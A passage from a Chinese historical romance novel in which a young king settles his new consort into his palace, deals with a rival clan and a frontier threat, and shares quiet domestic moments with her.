百里漾知道她这么说是在玩笑,眨眨眼反问道:“王妃会么?” “自是不会,我还要做大王的贤内助呢。”颜漪回道,她还问百里漾,“大王待我至诚,我是否也该投桃报李?”很显然,颜漪的意思是也让百里漾看看她的嫁妆财物有几何,也愿意任百里漾取用。 “这倒是不必了。”百里漾说道。 这时候的嫁妆对于女子来说,意义与作用非凡。讲究一些的人家会自女儿降生之后就开始为女儿积攒嫁妆,待女儿嫁入别家之后,这些嫁妆就是女子在夫家立足的底气。大部分夫婿不会动用妻子的嫁妆,把手伸到妻子的嫁妆里会被世人视为无能,若是传扬出去也是丢尽脸面的事情。 百里漾自然不会是那种会惦记媳妇嫁妆的人。他也知道定国公府为颜漪准备了多少的嫁妆,确实丰厚,在湛京的上层圈子之中也是名列前茅的。当初他看到嫁妆单子时也不由得为之咂舌,也不知这份嫁妆他的泰山定国公是从何时开始积攒的。 百里漾此举只是为了让颜漪知道他有多少的资产,养一个王妃是绝对没有问题的,也不会让她受委屈。 回到江都的第一日的第一顿晚膳是在永延殿用的。 百里漾过来永延殿时,殿内一应归置已经进入了尾声。眼看快到了用晚膳的时辰,膳房那边打发人来问要在何处摆膳。尽管大家心中大致有数,王妃新至王宫,难免有些许不适应,以白日大王显示出的对王妃的看重,今日的晚膳十有八九是在永延殿中用的。但猜测归猜测,谁也不敢自作主张,事先便使人来问。 得到的答案便如事先猜想的那般。 百里漾也是想颜漪初到一个新环境里难免会有不适应的地方,有熟悉的人陪伴会好些,就如同他当年初到江都时一般。况且今日的晚膳也不只是他想陪着妻子一道用膳那么简单,也是给王宫里上上下下的眼睛看的。有些老人会欺负新人以显示自己的地位权威,即便这个新人是主子,也会有人想要拿捏她。 颜漪虽然是王妃,但她对于这座王宫来说到底是新人。大家对新王妃还不了解,大多数持的还是一种观望的态度。他们在观望,观望新王妃的脾性手段,观望百里漾这个大王对新王妃的态度。可以说百里漾现在对待颜漪的一举一动都被这些人看在眼里,任何一丁点的细节都会被他们拿出来放大解读。 作为新王妃,颜漪需要与这座王宫进行磨合,这需要时间。百里漾担心的是在他看不见的地方会有不怀好意的人轻视颜漪或是给她使绊子。虽然他知道以颜漪的能力是有能力解决的,但这种令人不愉快的事情,若是他做一些事情能够避免,为什么还要让它们发生呢。 百里漾想到的事情,颜漪自然也能想到。她也知道百里漾在为她思虑,为她着想。这样的体贴,很难不为之感动,也很难不为之心动。 颜漪想,表面上看不出来,大王实际却是一个很温柔的人呢。 两人在永延殿用了晚膳,气氛很温馨。百里漾与颜漪出身皆不凡,记着“食不言寝不语”的规矩,期间虽不说话,但有一种宁静平和在二人之间弥漫。 用完了晚膳,又吃了一盏茶,估摸着时间,又看了看外面的月色,发现夜里无星,百里漾只好遗憾地打消了去外面走走消食的念头。 这些时日行路的疲倦还在,纵是下午小憩也不能完全抵消。百里漾与颜漪坐了些时辰,随后各自去沐浴。今夜百里漾亦歇在永延殿中,两人齐齐躺在床榻上,一道进入了梦乡。 第二日开始,百里漾就开始变得忙碌起来了。 他因岁贡去湛京四月有余,江都这边虽然有范国相等人监理事务,但百里漾也不能什么都不过问不管了,更别说前不久还出了离渊来犯的事情,这是何等要紧之事,他就更不可能置之不理了。 范国相是百里漾信赖倚重之人,有他在江都坐镇,百里漾是很放心的。今日一早在永延殿与颜漪用过早膳后,不多时就有侍人来报,范国相已在长乐殿候着了。他与颜漪说了一声便匆匆朝长乐殿赶来。 长乐殿虽然是百里漾作为江都王日常起居的寝殿,但也有内外之分。内殿自然是百里漾寝居的地方,外殿则布置了书案书架等物,设成小书房的模样,有时百里漾召臣子入王宫议事会直接让人到此处来。 “拜见大王。” 在小书房等候的范国相见百里漾到来忙起身行礼,被大步走来的百里漾伸手拦住了下拜的动作,指着旁边的圈椅让他坐下,又令伺候的侍人重新换新茶上来,一面说道:“不必多礼,我们坐着说。” 范国相不是执着于虚礼的人,他也知道百里漾也不是喜欢讲究这些礼节的主上,从善如流地安坐下,开始向百里漾禀报这四月余来江都发生的一些事情以及他是如何处理的。 四个月而已,仅在江都的土地上还发生不了什么不得了的事情,况且前两个月正是诸侯王进京岁贡的时期,大衍所有的就封藩王都在湛京,绝大部分人关注的目光也就都汇聚在了湛京,或许有人能够分心搞事情,但搞不出大事情。但后面两个月定安王被皇帝勒令提前返回封地,情况又不同了。 百里漾始终记得自己封地这块可是杵着定安王的老丈人褚氏这一大家子的。定安王这次心不甘情不愿地离开湛京返回定安国,难保他事后越想越觉得憋屈不甘心,暗中授意他的老丈人褚之彦在江都给百里漾使绊子、或者做些事情来恶心百里漾。 不用怀疑,这种事情以前也不是没有发生过。褚氏是扎根在怀郡足足上百年,他们以怀郡为自己的基本盘将之经营得如同铁桶一般,再以此为据点向四面扩张,延伸自己势力的触手,扩大自己的势力范围。褚氏鼎盛之时,影响力绝对不止于如今的怀郡,甚至周围的四五个郡都受到了它势力的辐射,听起来就很可怕。 在前朝,类似褚氏这样的世家大族有很多,但褚氏绝对是其中的佼佼者之一。若非前朝末十几年的战乱影响以及高皇帝立业过程中对这些世家大族挥下的无情铁锤,褚氏绝不仅仅是如今的模样。 百里漾能够理解定安王为什么会选择娶褚氏的嫡长女为妃,因为褚氏富啊。数百年的财富积累下来,可想而知那是多么的令人垂涎,即便是如今的褚氏已经大不如前了,可它存活下来了,怀郡的基本盘还在,褚氏的财富即使缩水了,剩下来的也不容小觑。看定安王这些年出手有多阔绰就知道了,褚氏必定没少在私底下给定安王送钱。 这种事情虽然没有摆在明面上,但大家有眼睛的都心知肚明。且这事也不好说,花老丈人的钱虽然说出去不好听,可是耐不住人家乐意,你情我愿的事情,别人就算是再羡慕嫉妒恨,也不能在这上面做什么文章。 况且褚氏有的只是钱么?当然不仅于此。 几百年的世家大族产生的影响力不是这么容易消除的,他们掌握着这个世界最顶尖的大量资源太久了,即便是现在被打击了,但只要不死,就依旧会有卷土重来的机会。他们只需要静待时机,投资下注,显然,目前来说,定安王就是他们的那个时机。 而想要得到,就需要先付出。 在定王安有需要的时候,扎根在怀郡的褚氏,就需要贡献出自己的力量。 第85章 封王旧事 岁贡的这段时期, 褚氏不会闹出什么大乱子,但给范国相找一些麻烦是少不了的。范国相也说是些小麻烦,他都能够解决。算不上什么大事, 但也挺闹心的。 百里漾听了几桩。事情不是褚之彦指使的,大概率是底下人为表忠心或是想要出头博关注自作主张做下的。毕竟褚之彦到底是褚氏的掌权人,他要是真的亲自下场做这种“小事”,未免也太丢份了。 封地里杵着这么一个怀有异心的庞然大物,百里漾很多时候也难免头疼。因为你不知道褚氏会在什么时候闹出什么样的幺蛾子来给你添堵, 而事实上褚氏也的确是这么做的。 在百里漾就封的前三年, 褚氏明里暗里闹出来的幺蛾子就没有少过。那时候百里漾想要做些什么事情, 就会有各种阻碍冒出来。后面两年好了许多,百里漾不会容忍由褚氏一直掣肘他的局面, 设法收拾了几回褚氏的子弟和爪牙,削掉了部分褚氏子弟和拥趸的官职, 这才使得自己在江都能够逐渐放开手脚,任意施为。 “整日看着他们这样上蹦下跳的, 何时是个终结?”百里漾叹道。 褚氏与百里漾的立场不同, 从褚之彦将嫡长女嫁给定安王开始, 他们就注定了会这么一直争夺下去,直到其中一方彻底失势为止。他们之间属于是权力的斗争,是百里漾与褚氏背后的定安王的斗争,除非褚氏与定安王解绑,否则百里漾是不可能放过褚氏的。 “那一日必将不远,大王定能如愿。”范国相斩钉截铁道。 在范国相看来,怀郡褚氏就如困兽之斗。随着大王对江都的掌控日渐稳固,褚氏也蹦跶不了多久了。至于定安王,他远在定安, 不说这手伸不伸得那般长,即便是伸过来了,给他斩断了就是。江都,这是他们大王的主场。 范国相道:“当下的局面于大王而言只是小麻烦,真正头痛的当是定安王。” 他这么说自是有缘由的。 这就要说到当初定安王就封之前发生的一点往事。兴业?年,三皇子百里洪的十一岁生辰刚过不到半月便有朝臣上奏,请议皇子洪封王就藩事宜。大臣这么做依据的是高皇帝立朝后定下的规矩,皇子年满十二岁即封王就藩,理政安民。一年的时间去安排准备这件事情,算不上早也算不上晚。故而大臣这时去奏请此事是完全没有问题的,皇帝也应允了。 按照步骤,接下来便是要选定封号以及封国。百里洪行三,在太子已正位东宫的情况,作为此代皇嗣之中第一个封王就藩的,皇帝对他就封的事情心中已早有安排,甚至为他划定了相当不错的封地,封号也拟了,只等着时候差不多了拟旨发出去。 前期一切进行得很顺利,但太顺利了就容易起波折。 因为在这件事情里,身为主角的百里洪却不乐意。一旦封王就藩,就意味着他要离开湛京,离开这个天底下最大的权力中心,这对于胸怀远志的他来说怎么可以接受?可他不接受也得接受,这件事情的决定权不在他,也不在其他人,而在皇帝一人。皇帝想让他出京就藩,他就不得不从。甚至百里洪乃至周贵妃都不能表露出不情愿,生怕皇帝惹得生怒,从而不喜他们母子。 皇帝总归对周贵妃和百里洪这对母子还是颇为喜爱的。在与周贵妃相处时,皇帝松了点口风让周贵妃知晓了他对这个儿子的安排。 出手颇为大方的皇帝预定划给百里洪的封地不仅地域广阔还多是富庶之地,其中就将怀郡包括在内。没有错,一开始皇帝给儿子封地的时候,设想的局面并非是如今的模样。在皇帝最初的构想里,怀郡以及周围的几个县是划给定安王的。 既是如此,这事情又是怎么发展成今日的模样的? 只因周贵妃在得知皇帝对儿子的安排之后,面上欢喜不已,同时心里也计较开了。既然不能动摇皇帝遣子就封的决心,那就在这件事情上为自己尽力争取更多的好处。怀郡褚氏的名头天下皆知,儿子又即将就封,到了封地上避免不了要与褚氏打交道,若是能够将褚氏拉到儿子的这条船上…… 世家大族的名头还是很吸引人的,哪怕褚氏现在看着有些没落了,可那到底也是屹立了上百年的存在。周贵妃也是出身大族的,只是比起强盛时的褚氏还是差太多了。要拉拢这样的家族,一般的东西可打动不了他们。 思来想去,周贵妃想到了联姻。一个正妃之位,就不信褚氏不动心。而褚氏也确实动心了。新朝初立,褚氏的地位着实有些尴尬。褚氏的目标不仅是要保住现有的地位,他们还要想办法恢复家族之前的荣光。将家中女儿嫁给三皇子百里洪成为正妃,使得褚氏直接与皇室建立最亲密的关系,便不用再担心褚氏会被百里氏彻底清算,甚至,他们还可以谋划更多。 双方各自都有自己的谋算,但最终一拍即合。双方达成合意这件事情是私底下进行的,周贵妃并不敢让皇帝知道她在私底下已经谋划好儿子的婚事。但怀郡在外,消息一来一往的,不知怎么的,这件事情还是泄漏出去让皇帝知晓了。皇帝的恼怒可想而知,气过之后,他却当自己不知道这件事情,转头将原先划定给百里洪的封地重新改划,等到正式下旨的那天,周贵妃母子两人傻了眼,看着皇帝笑吟吟的脸,母子俩还有什么不明白的。只是事已至此,他们也只能乖乖认了。 这些事情没有多少人知道,百里漾能知道是因为这是皇后告诉他的。皇帝将原本划给定安王的怀郡划给了他,造就了如今的局面。对于定安王来说,这是皇帝给他的教训;于百里漾而言,这算是一次考验。 起先刚知道这件事情的时候,百里漾只是单纯地以为这是皇帝给定安王自作主张的惩罚,可到后来,他渐渐地发现这不只是皇帝为了惩罚定安王的随手为之,还是对他能力的一种考验。若是连一个封地之内的家族都压不服,皇帝也不会对他有其他的期待了。 正是因为如此,百里漾在对待褚氏的问题上不能有一丝的松懈,也更不能手软。而现实的情况也更像是他与定安王借着褚氏在隔空斗法。他们之间的争斗,从百里洪生出问鼎之心的那一刻开始就避免不了,也从百里漾就封的那一刻就已经开始了。 就江都目前的局势而言,优势在百里漾,褚氏已经不能如之前那样随意给他使绊子了,相反,褚之彦还得小心着别露出什么辫子马脚给他揪着发落了。 以上,这四月之中江都的庶务经由范国相的处理并没有产生什么问题,接下来范国相要说的是有关离渊的问题,这个比前面的那些更为要紧许多。范国相先递给百里漾一份战报,上面详细记载了此前离渊来犯的情形与战况,并附有军功名册以及抚恤名册。百里漾之前在湛京也收到过一份战报,但并不妨碍他此时再看过一遍。 离渊来时是突袭,边境的将士初时仓促迎战吃了一波亏,但守关的将领反应迅速,及时调动士卒进行反击,将劣势扭转,成功驱逐了来犯的离渊骑兵。一场突袭战,对抗过后产生伤亡是必然的,有人因斩获而立功得以升迁,有人则因伤致残或者干脆失去了性命。 战争是残酷的,因为它必然伴随着伤亡。而翻开抚恤名册,上面的每一个名字都代表着一个生命的逝去。 “亡者厚恤。因伤致残者伤愈后发放定额三倍的银钱,遣其归家,名下田亩免除五年赋税,除本人外,再免去家中一名成丁的徭役。”百里漾看过抚恤名册之后,对范国相说道,“此事责成靠得住的官吏去办,有伸手的,立斩不饶。” 百里漾知道底下的官吏会趁机给自己捞油水,这种事情不说在江都存在,乃至在整个大衍潮都是相当普遍的。这是由于当下的时代以及制度等多方面因素导致的。大环境如此,百里漾杜绝不了。 你捞一点小钱养家,百里漾不知道可以不去管。可你要是大捞特捞,把自己养成一条贪婪流油的肥虫,那是他不能容忍的。他更不能容忍的是有些人把手伸到绝对不该伸的地方去,就比如当前阵亡抚恤以及伤员遣返的银钱款项,只要敢伸手绝对给你剁了,连脑袋一起剁。 范国相知道百里漾对此事的看重,神色严肃,郑重颔首应下了。 至于军功名册,百里漾看过一遍,说道:“这份名单先留在我这,回头再令人将奖赏发下去。” 军功也是容易弄手脚出问题的地方,里面有太多的利益可图了。最基础的斩获不仅有钱粮方面的奖赏,积攒到一定的层级还能够获得升迁。而相对于升迁来说,钱财反而还是其次了。这世界的阶级固化还是很严重的,在前朝,绝大部分普通人甚至都没有出头之日。也就是衍朝建立,这样的情况才有所改善,但也只是一点点而已。 上升的渠道已经足够逼仄了,但依旧是有人要在上面动歪脑筋,不仅想把人家的路抢了,还想把路彻底给堵住。偏偏这是人家拼命换来的,有人却要抢过去坐享其成。 第86章 汗王之争 假冒军功的性质极其恶劣, 对一支队伍的士气以及士兵的积极性可以造成极其严重乃至毁灭性的打击。百里漾并不希望在江都的这片土地上发生这样不公的事情,且离渊那边的情形未定,不管谁最终夺得汗王之位, 有极大可能事要与大衍这边开战的。倘若真的出现了假冒军功这样恶劣的事情,对军队的战斗力将是重大的打击。 “大王,崔都尉至。”正说到此处,崔栋便来了。 “拜见大王。”崔栋进得殿来,先朝百里漾行礼, 再向范国相问安, “国相安好。”他对范国相行的是半师礼, 只因来到江都之后,范国相教导过他一段时间的课业, 虽然他学的不怎么样就是了,可他们到底算得上是半个师生关系, 礼不可废。 百里漾让他免礼又赐座之后,将手头上的这两份抚恤名册和军功名册递给他看, “这是之前离渊来袭时我军将士的伤亡以及斩获情况, 你可看过了?” “看过, 后两日正打算去关口。”崔栋正色道。他翻看过一遍之后交还给百里漾,说了一下自己的打算。他是江都的高级武官,甚至在名义上可以统帅江都的军队,这些军务他是有资格查阅过问的。 一场战役下来,伤亡是少不了的。抚恤和军功是战后极其重要的两件事情,哪一件事情都不能出差错。崔栋知道事情的重要性,这两件事情就算百里漾不说他也是要去核实的。 “我也正有此意。”百里漾说道,“过两日我与你一道前去。” 固然当然离渊来袭的战报他已经看过好多次了,甚至闭着眼睛都能还原出当初的情形, 可那到底是从字面上看来的,真正的情况还是自己亲自去看看才安心。况且离渊说不定日后还会兴兵再来进犯,边境守备便不可忽视了。 “离渊那边的情况究竟如何,可有探子传递消息回来?”百里漾问道。当前最要紧的是预防离渊再来进犯的事情,其他的事情论重要性都要往后排一排。正所谓“知己知彼,百战不殆”,离渊那边究竟是个什么情况,也总要有个说法。 此前在湛京时得到的消息是乞罗扎汗骤然病重,儿子侄子们都跑回去争抢汗王之位去了,争抢的结果如何尚且不明确。如今过去了也有一段时日了,也不知道离渊那边是否已经角逐出了新的汗王人选,这个人又是谁? “昨日夜晚才有消息传来,我来正是要说此事。”崔栋回道。他受到的消息是江都这边派过去潜藏在离渊的间客通过一些加密途径传回来的,可以确认情报属实。 因为江都边境过去就是离渊,偏偏离渊向来对大衍虎视眈眈,过去常有犯边之事,不得不防。用间便是其中的一个手段,间客多伪装成商人或者直接就是藏在过往的商队之中,沿途收集信息再传回来。 其实离渊那边也知道与他们做生意的商人或者商队之中藏有负责为大衍收集他们情报的间客,情报泄露严重之时他们甚至因为被对方知道了己方的行军部署而输掉了战争。可即便是如此,离渊也不会禁绝商队到他们那边行商。 无他,只因为有些他们生存需要的物资草原上没有,只能通过大衍这边的商队给他们运过去。这就给了大衍这边安插间客打探消息的机会。 崔栋道:“乞罗扎确实离死不远了,现在只是在吊着一口气。他底下的十几个儿子和侄子角逐到现在已经就只剩下了三个最有实力争夺汗王之位的,分别是乞罗扎的六儿子海克罗、九儿子都力以及他的一个侄子阿希烈。以目前传回来的消息来看,乞罗扎的两个儿子正在联合起来对抗阿希烈。” 也就是说,现在阿希烈的优势明显更大,大到需要两个本来互为竞争对手的兄弟暂时摒弃前嫌进行合作来抵御他这个“外敌”。 “阿希烈是上一任汗王长子之子,背后有离渊三大部落之一的扎勒部的支持,又联姻另外的几个势力稍大的部落,势力很大,早在五年前乞罗扎就已经对这个侄子心生防备与忌惮,处处打压,阿希烈很是龟缩了一段时间,直到乞罗扎病重,他又重新起势。”范国相亦说道。 乞罗扎汗病重,底下的儿子们争夺汗王之位,这里面怎么又有他侄子的事情? 其实说是侄子也不太准确,严格来说应该是外甥才对。别忘了,乞罗扎汗当年是以女婿之身上位的,他跟前任汗王只是翁婿关系,而阿希烈作为前任汗王的孙子,自然是有资格角逐汗王之位的。但有资格还不够,离渊人爱生孩子,尤其是部落里的权贵们,妻子都娶五六七八个,孩子一直在源源不断地生出来。上任汗王也是生了一堆的儿子女儿,儿子女儿们又往下生一堆的孩子,真要算起来有资格继承汗王之位的人海了去了,谁都能来去争么? 自然不是。有资格另外还要附加的条件是有能力且有势力,有人愿意追随你、扶持你。离渊人大多生活的环境艰苦,物资很多时候是要靠抢的,因此也就造就了崇尚武力的慕强之风。上任汗王的那么多子孙里也就出了阿希烈一个猛的,听说他天生神力,勇猛异常,比之当年的乞罗扎也不遑多让,甚至有小道消息说乞罗扎暗地里曾与心腹遗憾言道:“恨不为我生之子。” 乞罗扎到底有没有说过这话并不重要,但这也能够侧面反映出阿希烈的精明强干。在他崛起的过程之中,乞罗扎必定会对这个侄子出手打压,甚至很有可能会暗中下杀手。可阿希烈依旧还活着,乃至已经成长到威胁乞罗扎儿子们地位的地位了。 “乞罗扎的这两个儿子已经将他手里的东西瓜分得差不多了,就是不知道他们联手能不能将阿希烈给压下去。”崔栋面色凝重道。 阿希烈在草原上的威名他也有所耳闻,对于这样的勇猛之人,他一方面是心生敬仰希望能与之一战,另一方面却是觉得倘若日后阿希烈真成为了离渊的新汗王,北方离渊有这样的强干之主,于大衍来说总归不是一件好事。 崔栋有此忧虑,百里漾和范国相亦是这般想的。只是如今离渊草原上的形势并不是能为他们所插手的,作为“旁观者”,他们只能等着离渊的汗王之位的继承争夺战角逐出最后的胜利方,并为此做好准备。 “不管离渊那边的结果如何,离渊与大衍都必有一战,江都作为抵御的主力之一,守备必不可松懈,此事你们都要盯紧了。”百里漾最后肃然说道。 打仗涉及很多方面,前线与后备的工作都要做好,两者相辅相成、缺一不可。粮草与兵械属于后备物资,是保障将士阵前杀敌的基础,毕竟吃饱了才有力气杀敌,兵甲则能够增加将士的战斗力和防御力,让其能够杀击更多的敌人。这一方面是由范国相在后方负责统筹调度,换了别人百里漾也不放心。士兵操练与布防之事大体上则由崔栋负责,士卒操练好了,作战时才能不乱,不至于被敌军一击即溃。 从备战来说大体是这两个方面,可里面还有许多细节要细细推敲过。三个人在长乐殿的小书房里商议了好久,中途还让侍人备了几轮茶点上来,直到日落,才散了。 百里漾说让他们在王宫中用了饭再走,范国相婉拒后告退出宫回家了。崔栋则是说道:“她刚来江都,许多事情都不习惯,我得回去陪着她。” 这个“她”,自然指的是崔栋的妻子卢氏了。 百里漾大感意外,总觉得眼前的这个人体贴得抖不像是他认识的那个崔栋了。只能说成亲给崔栋带来的改变还是挺大的,有种突然“懂事”的感觉。崔栋都这么说了,百里漾也不再提留饭的事情,“行了,我不留你了,你赶紧回去吧,省得表嫂在家久等你。” “那我可走了,等久了说不定你表嫂要揍我。”崔栋笑呵呵道,还朝百里漾眨眼,“如今可不只我有人等了,想来日后我们八成是做不成饭搭子了。” “去你的,什么饭搭子,分明是你来蹭我的饭。”百里漾没好气地踹了崔栋一脚,让他回家吃自己的去了。 落日把崔栋离宫的身影拉得很长,但是他的脚步很轻快,感觉一下子就蹿没影了。这时身边的侍人告诉百里漾,“大王,两刻钟前,永延殿的初禾女官过来,说是奉王妃之命请大王过去用晚膳。” 半个时辰之前百里漾与范国相、崔栋还在议事,初禾过来不敢打扰,只请侍人将话转达。 “怎么不早说?”百里漾没有想到颜漪前面派初禾过来请他了,想起之前崔栋说的话,心情一下子变得愉悦,脚下大步朝永延殿的方向走去。 侍人被小小地斥责了一下,但也没有辩解,只是跟在百里漾身后快步走着。 百里漾至永延殿时,恰好看到颜漪从殿中出来,他快步迎上去,问道:“怎么出来了?” 颜漪见百里漾此时过来正好撞上,些微惊讶,很快笑着回道:“见大王久不至,想过去看看大王何时过来。” 眼下离用晚膳的时辰已经过去了半个时辰了,颜漪竟是一直在等他。想到他如今也是有人等着用饭的人了,百里漾心里有种不太说得出来的感觉,很舒服,也很温暖。 第87章 温馨 百里漾想到之前崔栋说“家中有人在等他”的得瑟劲, 当时见不惯他的矫情,现在他对崔栋的心情很能体会了,家里有人在等你的感觉真的很好啊。 “与范国相、崔都尉议事, 不觉时间就过去了,让你久等了。”百里漾感到歉意说道。他拉住颜漪的手要朝殿内走去,却遭到了些许的挣扎,疑惑地看向颜漪。 “大王,这还是在殿外。”颜漪低声说道。她发现百里漾真的很喜欢对她做一些亲密动作, 这固然是他亲近她的表现, 但这人有时候也太不分场合了, 这还是在殿外,周围都是侍卫宫人, 这么多双眼睛看着,叫人怪不好意思的。 百里漾往周围扫了一圈, 视线所及,侍卫宫人皆垂首, 不去看他与颜漪, 但神色明显不太对, 显然是将方才一幕的看进眼中去了。他反省了一下自己,自己脸皮厚不要紧,但王妃面皮薄,还是要顾忌一下她的面子的。 “我们进殿去吧。”百里漾轻咳了一声,说道。 两人进殿。初禾一面令人取清水来给二人饭前净手,一面令人摆膳。等二人皆净手完过来在食案前坐下,今日晚膳的菜肴便摆全了。 百里漾看了菜色,有一半是他平日里爱吃的菜品,还有一半则是以往不怎么在他的食案上出现的, 他认出来这些菜品应当都是颜漪比较喜食的。自他们成婚之后,大多数时候都是在一起用膳的,一些菜品出现的频率较高,次数多了百里漾也能认出来是颜漪的喜好了。 两人对坐而食。他们已经磨合得很有默契了,用膳的时候不怎么说话,有侍女给两人布菜。 没闻到饭菜香的时候不觉得有什么,等坐到食案边时肚子就开始唱空城计了,百里漾端碗开始大快朵颐,他饭量大,吃得多,不时抬头见到对面的颜漪慢条斯理地用膳,一举一动颇具美感。每次见到这样的情景,百里漾都觉得赏心悦目,饭都能够多吃一碗。 不过,是不是吃的有些少了?还是说不太适应江都的水土饮食? 江都与湛京的气候是不太一样的。因为江都在地理位置上偏靠北,夏季的时候还好,温暖湿润,气候相对宜人,与湛京倒没有多大的不同。可入秋之后就不一样了,江都的秋日短,连续几日的秋老虎过去之后便急转直下短时间就过渡到了凉爽的秋日,而且这凉爽也维持不了几日就开始刮起干冷的北风,吹得人又干又冻的。 如今已然入了九月,天气已经很凉了,风却是燥的,还连着几日不见阳光,阴沉沉的天空叫人看了心情也容易不爽快。心情不好了,胃口也开不了。而颜漪是初来,他一回来就忙着边境与离渊的事情,竟是没有注意到这一点。 “是胃口不好么?”百里漾眉头皱起,饭吃着也不怎么香了,关切问道。 “嗯?”颜漪不明白百里漾怎么吃着吃着忽然问出这话,对上百里漾关切的眼神,再想想他大快朵颐扒饭的模样,当即就明白了他为何会有此一问。她回以一笑,“大王不必担心,我并非是胃口不好。” 百里漾懂了,想起之前用膳时,好像颜漪就是这个食量,但他还是说道:“江都与湛京有颇多不同,你若是有不习惯的,不要憋着不说,委屈了自己就不好了。” 类似的话,这几日百里漾已经说过很多了,可他好像自己不怎么记得了,总是唯恐她在他看不见的地方受了委屈。颜漪的目光忽然定定地落在对面的百里漾身上好一会儿,直到看得他自己都有些莫名。 “怎么了?” “没什么。”颜漪轻摇螓首,眉眼笑意如流光倾泄,却又含着几分嗔羞,“只是觉得大王待我太好,我怕自己不能报以大王同样的好。” 这回轮到百里漾不好意思了,他没有想到颜漪会说出这样的话来,忽然有些不敢看颜漪,“你是我妻子,对你好是应当的,我只求做到自己能做到最好的。” 不能再说下去了,说着说就要变成情话了。当着周围这么多人的面说类似情话的话,还是很令人不好意思的。 边上的初禾骤然听到大王对王妃说这样贴心动人的“情话”,整个人都有些呆愣,一边为自家王妃欢喜,一边左右为难,自己是退下还是不退。 颜漪也颇觉羞赧,这个人到底知不知道自己在说什么啊。她面上很快升腾起一股暖融融的热意,竭力强装镇定,“大王,饭菜再不吃就要凉了。” “哦哦,好。”百里漾脸也有些热,忙埋头下去用膳。 一顿晚膳就这这样令人有些微脸红心跳的氛围之中过去了。 用完晚膳,小坐之后,百里漾问颜漪要不要去走走消消食。颜漪猜想他应当是要带着她在王宫里转上一转,欣然应允。 江都的这座王宫的形制与湛京皇宫大体相同,只不过规模小了许多,也大抵分为两个部分——前朝和后宫。前朝是百里漾日常处理政务以及举行一些大型仪式的地方;后宫则是生活起居的场所,包括几座大的殿宇以及一片占地极广的后花园。散步消食也顺便看看风景,百里漾便带着颜漪漫步在后花园之中。 夜里风大还带着凉意,百里漾接过初禾手上拿着的披风披到颜漪的身上,还细心地系好了带子。颜漪摸着身上的披风,问他,“大王不冷么?” “不冷,我体格壮,比较抗冻。” 百里漾见颜漪关心他,唇角上扬,回头看一眼跟随的婢女都在身后,又看四下光线昏暗,路边间隔设置的灯笼也只照亮了脚下的路,远处的人和物却是看得不甚清明的。他看着走在身边的颜漪那一抹莹白如玉的耳垂,心念一动,伸手去捉了她的手握在手中。入手是带着些微凉的柔软触感,真正像捏一块质地软糯的软玉。 颜漪陡然被捉住了手,受了点惊,下意识地瑟缩了一下,反应过来是百里漾之后,放弃了挣扎,无奈看向百里漾。 “藏在披风底下,不会叫人看到的。”百里漾以为颜漪是担心被婢女看见笑话,凑近了些小声说道,眼睛里是藏不住的“得逞”了的笑意。 哪里只是会不会让人看到的问题。可是他要牵着,自己也不好躲开,晚膳前那一次已经拒绝过了,这次要是还不让他牵着,怕是会不高兴了。 颜漪余光已经看到身后的初禾在无声地偷笑了,她心里无奈却又升起些微的甜意,看着百里漾笑意满满好似藏着星光的眼睛,也只好默认了。这样牵着手,有披风挡着,夜色又昏暗,不会叫许多人看见的。 她这样说服自己,才走了没多远,手心已经开始微微生热了。 后花园里有一座颇是宽广的人工开凿的湖泊,引了外面的活水进入,湖上建有水榭,临岸边还有几处亭台楼阁,停泊有两艘小舟,得闲时可供人泛舟湖上。夜里大半个湖泊都是一片暗沉沉的,唯有岸边因着灯火得以照亮,这般情况自然是不宜乘舟的。 两人就绕着湖泊旁边的小道漫步,一边说些话。 百里漾:“你刚来,许多事情不必太过着急,有些什么不明白或是不方便的可以让柳姑姑助你,之前王宫里的内务都是在她管着的,这几年来都没有出过什么差错。” 此前王宫里没有真正的女主人,王宫里的诸多内务是柳姑姑在管的。她掌管内务这些年从来没有让百里漾因此费心劳神,这便是很大的功劳了。如今颜漪作为王妃来到了这座王宫里,是这座王宫名正言顺的女主人,也拥有了所有内务的决策权,柳姑姑则是要将一些重要的物事移交到她的手上,这需要一个过程。 虽说王宫里的人口相对来说比较简单,但这到底也是一座不折不扣的王宫,事务也繁杂,真是要移交理清还是需要一定的时间的。他的意思是未来的时间还很长,不希望颜漪因此累着了。 “大王放心,我有分寸的。”百里漾的关心,颜漪受着了,还道,“柳姑姑这些日子一直在指点我,她才是辛苦。” 内史令柳枝是皇后赐给百里漾随同就封的老人,不仅在皇后那里有情分,便是在百里漾面前也是很得脸面与敬重的。颜漪来江都之前便知道有这么一个人,因着柳姑姑特殊的身份,她是不可避免地要与之打交道的。母亲曹氏曾担忧柳姑姑自恃椒房老人而握权不放,毕竟这世上确实是有任仗着奶长辈所赐之人而行奴大欺主之事。 儿行千里母担忧,母亲曹氏的忧虑颜漪能够体谅。她那时就劝过母亲曹氏,“大王年少离京就封,远隔千山万水,皇后殿下看顾不到,岂能将不好之人送到大王身边。”而真正亲眼见到接触之后,她也发现柳姑姑确实是一名极为明事理的周到能干之人。 “那王妃之后可要好好犒赏一下她才是。”百里漾笑了笑道。 “大王放心,我可不是那种‘用完了就扔’的人。”颜漪小小地开了一个玩笑,说道。 看着身边人眉眼含笑,多了一些俏皮,百里漾笑看得有些呆了。反应过来之后,他举拳抵在唇边轻咳掩饰了一下,又正色道:“倘若有哪些不长眼心思野的人敢与你裹乱,不必与他们客气,尽管收拾了去,叫他们知道这宫里到底谁说话算数。” 第88章 夜游 百里漾这话说得极是霸气, 还举起另一只手握成拳状给颜漪看,一副要为她出头、当她背后靠山的架势。 颜漪被他逗笑,心下暖意流淌, 用了些力回握住他的手,笑道:“有大王在,何人敢给我委屈受?大王且放宽心,我会自己顾好自己的,况且我也不会被人轻易欺负了去的。” 她说得自信, 精致的眉眼间除了温柔还透出一股飞扬的神采, 让人都不想挪开眼。百里漾想想也是, 王妃也不是任人欺负不还手的软包子性格,却还是忍不住不放心地补了一句, “真有难事要记得同我说,两个人想办法解决总比一个人抓耳挠骚、愁眉苦脸的好。” “大王?”颜漪忽然轻唤了他一声。 “嗯?”百里漾有些莫名, 尤其是看到颜漪面容上升起的轻快的笑意,“怎么了?”难道是他说的不对么? “有没有人说过大王絮叨的样子很是可爱。”颜漪先是忍着笑意, 后来实在是忍不住了, 牵着百里漾的手, 微微别过脸去,不让百里漾看到。她想,真的是不一样了,如今她也能与百里漾说这些亲密融洽的话了,在成婚之前她都没有这般想过,至少不会发展得这般快。这一切都是因为百里漾,他真的是一个很好的夫君。 百里漾先是懵了一下。可爱,她说自己“可爱”,脸还没有红又反应过来她在说自己絮叨, 